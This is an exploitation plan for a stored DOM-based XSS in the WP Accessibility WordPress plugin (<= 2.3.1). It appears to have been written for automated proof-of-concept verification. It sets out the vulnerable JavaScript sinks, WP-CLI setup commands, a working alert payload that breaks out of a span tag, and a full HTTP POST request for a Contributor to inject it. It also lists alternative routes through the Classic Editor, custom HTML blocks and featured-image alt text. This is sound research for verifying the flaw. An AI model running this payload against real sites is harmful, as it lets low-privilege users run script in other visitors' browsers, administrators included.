Exploitation Research Plan: CVE-2026-2362 (WP Accessibility DOM XSS)

1. Vulnerability Summary

The WP Accessibility plugin (<= 2.3.1) is vulnerable to Stored DOM-Based Cross-Site Scripting (XSS). The vulnerability exists in the plugin's frontend JavaScript, specifically within js/wp-accessibility.js. When the "Long Description UI" feature is configured to "Link to description," the plugin identifies images with a longdesc attribute and attempts to append a screen-reader-friendly link. It retrieves the alt attribute of the image using getAttribute('alt') and unsafely concatenates it into a string that is then passed to innerHTML or insertAdjacentHTML.

Because getAttribute() retrieves the unencoded value and innerHTML parses that value as active HTML, an attacker with Contributor-level permissions can inject malicious scripts into the alt attribute of an image.

2. Attack Vector Analysis

• Authentication Level: Authenticated (Contributor+)
• Precondition: The "Long Description UI" setting must be enabled and set to "Link to description" (wpa_longdesc option = 'link').
• Vulnerable Sink: newLink.innerHTML and wrapper.insertAdjacentHTML in js/wp-accessibility.js.
• Payload Location: The alt attribute of an <img> tag that also possesses a longdesc attribute.
• Affected Version: <= 2.3.1.

3. Code Flow

1. Frontend Script Loading: The plugin enqueues js/wp-accessibility.js.
2. Feature Check: The script checks the wpa localization object. If wpa.ldType === 'link', the vulnerable code path is triggered.
3. Selection: The script selects images via document.querySelectorAll( 'img[longdesc]' ) (Line 698 in js/wp-accessibility.js).
4. Data Extraction: For each image, it retrieves the alt attribute: let alt = el.getAttribute('alt'); (Line 703).
5. Vulnerable Sink 1: In the loop for longDescImgs, the plugin creates a link and sets its content:

   // js/wp-accessibility.js: Line 713
   newLink.innerHTML = 'Description<span class="screen-reader-text"> of' + alt + '</span>';
   

6. Vulnerable Sink 2: Alternatively, if the image control is loaded via API (used in featured images or specific blocks), it reaches wpa_load_image_control:

   // js/wp-accessibility.js: Line 833
   wrapper.insertAdjacentHTML( 'beforeend', '<a href="' + url + '" class="longdesc-link">Description<span class="screen-reader-text"> of ' + alt + '</span></a>');
   

7. Execution: The browser parses the injected HTML in the alt variable, executing any embedded scripts.

4. Nonce Acquisition Strategy

This vulnerability is exploited by creating/editing a standard WordPress post. No plugin-specific nonces are required to inject the payload into the post content, as standard WordPress post-save nonces handle the request for Contributor+ users.

However, to verify the exploit in an automated environment, you must first enable the "Long Description UI" as an Administrator.

• The setting wpa_longdesc is updated in wp-accessibility-settings.php via the action === 'features' branch of wpa_update_settings.
• It uses a nonce named wpa-nonce.

Manual Setup via WP-CLI (Recommended for PoC):
Since the vulnerability requires a specific setting, use WP-CLI to bypass the UI setup:

wp option update wpa_longdesc "link"
wp option update wpa_post_types 'a:1:{i:0;s:4:"post";}'

5. Exploitation Strategy

Step 1: Configure Plugin (Admin)

Ensure the plugin is in the vulnerable configuration.

wp option update wpa_longdesc "link"

Step 2: Inject Payload (Contributor)

Login as a Contributor and create a post containing an image with both a longdesc and a malicious alt attribute.

Payload: </span><img src=x onerror=alert(origin)>
The </span> is used to break out of the <span class="screen-reader-text"> tag created by the plugin.

HTTP Request (Contributor):

POST /wp-admin/post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=editpost
&post_ID=[POST_ID]
&post_title=Accessibility+Test
&content=<img src="https://example.com/test.jpg" longdesc="https://example.com/desc" alt="</span><img src=x onerror=alert(origin)>">
&post_status=publish
&_wpnonce=[NONCE]

Step 3: Trigger Execution

Navigate to the newly created post as any user. The JavaScript in wp-accessibility.js will process the image and trigger the XSS.

6. Test Data Setup

1. User: Create a user with the contributor role.
2. Setting: Set wpa_longdesc to link.
3. Post: Create a draft post as the contributor to obtain a valid post_ID and _wpnonce.

7. Expected Results

1. The plugin script js/wp-accessibility.js will find the img[longdesc].
2. It will extract alt="</span><img src=x onerror=alert(origin)>".
3. It will generate a link equivalent to:
   <a href="..." class="...">Description<span class="..."> of</span><img src=x onerror=alert(origin)></span></a>
4. The onerror event will fire, executing alert(origin).

8. Verification Steps

1. Check Options:

   wp option get wpa_longdesc # Should return 'link'
   

2. Check Post Content:

   wp post get [POST_ID] --field=post_content # Verify payload is present in the database
   

3. Browser Verification: Use browser_navigate to the post URL and check for an alert dialog or a specific DOM element added by the script.

9. Alternative Approaches

If the longdesc attribute is filtered out by the WordPress block editor (Gutenberg), use the Classic Editor or inject the payload via a custom HTML block.

If innerHTML logic (Sink 1) is patched in some environments, target the insertAdjacentHTML logic (Sink 2) by using the "Featured Image" long description feature:

1. Upload an image.
2. Set its "Description" field (which the plugin uses for longdesc) to a URL.
3. Set its "Alt Text" field to the XSS payload.
4. Set the image as a "Featured Image" for a post.
5. The plugin will fetch the image metadata via the REST API (wpa.restUrl + '/' + id) and hit the insertAdjacentHTML sink at line 833.